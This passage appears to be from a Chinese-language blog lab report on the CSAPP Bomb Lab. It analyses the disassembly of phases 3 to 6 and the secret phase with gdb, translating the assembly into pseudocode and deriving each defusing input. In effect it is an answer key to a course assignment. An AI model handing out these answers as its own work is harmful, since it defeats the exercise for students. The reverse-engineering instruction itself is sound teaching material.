该部分代码较长,未完全展示。

通过观察发现,该部分中有大量内容为"jmp 400fbe <phase_3+0x7b>"的语句,判断应该是分支结构,对应到源代码应该是一个switch语句。实现条件跳转的关键在于0x400f75语句:“jmpq *0x402470(,%rax,8)”。这条语句的意思是跳转到以0x402470+8*%rax指向的数为地址的语句处。通过gdb可得出上述答案表。

bomb4

递归部分

递归部分就是整个<func4>函数。其实质是一个递归的二分查找。

确定中点
  400fd2:	89 d0                	mov    %edx,%eax
  400fd4:	29 f0                	sub    %esi,%eax
  400fd6:	89 c1                	mov    %eax,%ecx
  400fd8:	c1 e9 1f             	shr    $0x1f,%ecx
  400fdb:	01 c8                	add    %ecx,%eax
  400fdd:	d1 f8                	sar    %eax
  400fdf:	8d 0c 30             	lea    (%rax,%rsi,1),%ecx

在该部分中,%esi为闭区间左端点,%edx为闭区间右端点。语句0x400fd2~0x400fdb的本质即是%eax=%edx-%esi,随后通过%ecx=%rsi+(%eax>>1)这条语句可以得知,%ecx为区间中点。

比较大小&缩小区间
  400fe2:	39 f9                	cmp    %edi,%ecx
  400fe4:	7e 0c                	jle    400ff2 <func4+0x24>
  400fe6:	8d 51 ff             	lea    -0x1(%rcx),%edx
  400fe9:	e8 e0 ff ff ff       	callq  400fce <func4>
  400fee:	01 c0                	add    %eax,%eax
  400ff0:	eb 15                	jmp    401007 <func4+0x39>
  400ff2:	b8 00 00 00 00       	mov    $0x0,%eax
  400ff7:	39 f9                	cmp    %edi,%ecx
  400ff9:	7d 0c                	jge    401007 <func4+0x39>
  400ffb:	8d 71 01             	lea    0x1(%rcx),%esi
  400ffe:	e8 cb ff ff ff       	callq  400fce <func4>
  401003:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax

%edi为要查找的数。比较%edi和%ecx的大小,如果%ecx>%edi,表示%edi落在左半区间。因此将右端点%edx修改为%rcx-1,向下一层递归,<u>回溯时将%eax修改为2*%eax</u>。否则,表示%edi落在右半区间,此时判断%edi和%ecx是否相等,如果相等则直接退出该递归部分。如果不相等则将左端点%esi修改为%rcx+1,向下一层递归,<u>回溯时将%eax修改为2*%eax+1</u>

输入&判断部分

这部分主要在<phase_4>里。主要内容就是判断是否读入了两个以上的数字,以及规定了第一个数字不能大于14,第二个数字必须为0。最关键的部分在于判断调用<func4>后%eax是否为0。由于%edi落在左半区间和右半区间递归时回溯的条件不同,结合%eax初值为0可以得出以下结论:%edi在任何递归层数下都不能大于%ecx,即落在区间的右半部分(不包括中点)。根据%rsi和%rdx初值为0和14,可以得出上述答案表。

bomb5

phase_5的本质是以输入字符串的从左到右每个字符的ASCII码的十六进制末位为索引,查表得到新字符串后与目标字符串匹配。

索引部分

  40108b:	0f b6 0c 03          	movzbl (%rbx,%rax,1),%ecx
  40108f:	88 0c 24             	mov    %cl,(%rsp)
  401092:	48 8b 14 24          	mov    (%rsp),%rdx
  401096:	83 e2 0f             	and    $0xf,%edx
  401099:	0f b6 92 b0 24 40 00 	movzbl 0x4024b0(%rdx),%edx
  4010a0:	88 54 04 10          	mov    %dl,0x10(%rsp,%rax,1)
  4010a4:	48 83 c0 01          	add    $0x1,%rax
  4010a8:	48 83 f8 06          	cmp    $0x6,%rax
  4010ac:	75 dd                	jne    40108b <phase_5+0x29>

翻译代码:

do
  ecx=rax+rbx; //movzbl
  *rsp=cl;
  rdx=*rsp;
  edx&=0xf;
  edx=*(rdx+4024b0); //movzbl
  *(rsp+rax+4*4)=dl;
  rax++;
while(rax!=6);

该部分就是遍历所有字符,%rbx是读入字符串的首地址,%edx用来存放字符的ASCII码的十六进制末位,随后将%edx索引至%rdx+0x4024b0处,并存放在%rsp+%rax+16处。

通过gdb调试得知以0x4024b0为首地址的字符串为:"maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?",其中有效项(前16个)为"maduiersnfotvbyl"。

检验部分

检验部分就是判断新字符串是否等于目标字符串,即以0x40245e为首地址的字符串。通过gdb调试得知目标字符串为"flyers",其中每个字符分别在表的第9、14、15、5、6、7位。因此倒推出输入字符串的ASCII码的十六进制末位也应该是9,e,f,5,6,7。

bomb6

PS:(这个phase真的是太太太太长了……里面jmp指令也是非常的多,不用纸打印出来真的没办法看啊QAQ)

phase_6的本质就是将输入的排列取反后以此为基准重新排列一个序列,使其成降序。

判断是否为排列

  401128:	41 83 c4 01          	add    $0x1,%r12d
  40112c:	41 83 fc 06          	cmp    $0x6,%r12d
  401130:	74 21                	je     401153 <phase_6+0x5f>
  401132:	44 89 e3             	mov    %r12d,%ebx
  401135:	48 63 c3             	movslq %ebx,%rax
  401138:	8b 04 84             	mov    (%rsp,%rax,4),%eax
  40113b:	39 45 00             	cmp    %eax,0x0(%rbp)
  40113e:	75 05                	jne    401145 <phase_6+0x51>
  401140:	e8 f5 02 00 00       	callq  40143a <explode_bomb>
  401145:	83 c3 01             	add    $0x1,%ebx
  401148:	83 fb 05             	cmp    $0x5,%ebx
  40114b:	7e e8                	jle    401135 <phase_6+0x41>

翻译代码:

do	
	r12d++;
    ebx=r12d;
    do
      rax=ebx; //movslq
      eax=rsp+4*rax;
      if(eax==*rbp)explode_bomb;
      ebx++;
    while(ebx<=5);
while(r12d!=6);

读入6个数字后,首先规定每个数不大于6,否则调用<explode_bomb>,然后通过上述双重循环规定元素两两不等。这样就能够保证读入的6个数字为6的一个排列。

取反部分

  401153:	48 8d 74 24 18       	lea    0x18(%rsp),%rsi
  401158:	4c 89 f0             	mov    %r14,%rax
  40115b:	b9 07 00 00 00       	mov    $0x7,%ecx
  401160:	89 ca                	mov    %ecx,%edx
  401162:	2b 10                	sub    (%rax),%edx
  401164:	89 10                	mov    %edx,(%rax)
  401166:	48 83 c0 04          	add    $0x4,%rax
  40116a:	48 39 f0             	cmp    %rsi,%rax
  40116d:	75 f1                	jne    401160 <phase_6+0x6c>

翻译代码:

rsi=*(rsp+4*6);
rax=r14;
do
  ecx=7;
  edx=ecx;
  edx-=*rax;
  *rax=edx; //*rax=7-*rax
  rax+=4;
while(rax!=rsi);

该部分利用一个循环,将元素x转变为7-x。

索引部分

PS:(这部分的条件跳转指令特别多……所以这部分我是在纸上完成的,没办法贴出翻译代码了)

该部分以每个元素值x为索引,索引至0x6032d0+16*x处,将该值赋给%rsp+8*x+32。用gdb调试后发现,0x6032d0+16*x指向的值分别为332,168,924,691,477,443。

检验部分

  4011da:	bd 05 00 00 00       	mov    $0x5,%ebp
  4011df:	48 8b 43 08          	mov    0x8(%rbx),%rax
  4011e3:	8b 00                	mov    (%rax),%eax
  4011e5:	39 03                	cmp    %eax,(%rbx)
  4011e7:	7d 05                	jge    4011ee <phase_6+0xfa>
  4011e9:	e8 4c 02 00 00       	callq  40143a <explode_bomb>
  4011ee:	48 8b 5b 08          	mov    0x8(%rbx),%rbx
  4011f2:	83 ed 01             	sub    $0x1,%ebp
  4011f5:	75 e8                	jne    4011df <phase_6+0xeb>

翻译代码:

ebp=5;
do
	rax=*(rbx+8);
	eax=*rax;
	if(*rbx<eax)explode_bomb;
	rbx=*(rbx+8);
while(--ebp!=0);

该部分利用一个循环,判断序列是否为降序,如果不是则调用<explode_bomb>。对照原表可知,符合条件的索引排列为3,4,5,6,1,2。考虑到这是经过取反后的排列,因此答案排列应为4,3,2,1,6,5。

secret_phase

入口部分

容易发现<secret_phase>在<bomb_defuse>处被调用。一路检索过去可以发现,触发<secret_phase>的条件在于读入的字符串是否等于"DrEvil"。可是在哪里输入该字符串呢?调用gdb调试,查看0x402619处字符串,发现等于"%d %d %s",则可以判断应在之前输入两个数字的phase时在末尾输入一个"DrEvil"触发<secret_phase>。

fun7

该函数是一个递归调用的函数。%rdi初始值为0x6030f0,%esi初始值为%ebx,也就是读入的整数。

整个函数的意思是将(%rdi)与%esi比较,如果(%rdi)>%esi,%rdi=0x8(%rdi),即%rdi被更新为%rdi+8指向的值,递归进入下一层,回溯时将%eax更新为原来的两倍。

如果(%rdi)==%esi,返回%eax=0。

如果(%rdi)<=%esi,%rdi被更新为%rdi+16指向的值,回溯时将%eax更新为2*%eax+1。

返回<secret_phase>查看<explode_bomb>被调用的条件,发现是%eax!=2。那么反推回去,可以发现如果想要%eax=2,在进入fun7时,需要先使(%rdi)>%esi,再使(%rdi<%esi),最后使(%rdi==%esi)。这样在回溯时,初值为0的%eax先变为2*0+1=1,再变成2*1=2。

调用gdb查看0x6030f0后的若干字节:

0x6030f0 <n1>:	0x0000000000000024	0x0000000000603110
0x603100 <n1+16>:	0x0000000000603130	0x0000000000000000
0x603110 <n21>:	0x0000000000000008	0x0000000000603190
0x603120 <n21+16>:	0x0000000000603150	0x0000000000000000
0x603130 <n22>:	0x0000000000000032	0x0000000000603170
0x603140 <n22+16>:	0x00000000006031b0	0x0000000000000000
0x603150 <n32>:	0x0000000000000016	0x0000000000603270

发现0x8(%rdi)=(0x603110)=8,0x18(%rdi)=(0x603150)=0x16=22。

将22作为%esi,反推回去,发现第一层0x24>0x16,第二层0x8<0x16,满足条件。因此22为答案。

Reference

  1. CSAPP

今天关于ucoreOS_lab3 实验报告ucore lab1实验报告的分享就到这里,希望大家有所收获,若想了解更多关于CCNA 实验报告 - LAB (2) 静态路由、CCNA实验报告-LAB(2)静态路由、CSAPP_AttackLab实验报告、CSAPP_BombLab实验报告等相关知识,可以在本站进行查询。

本文标签: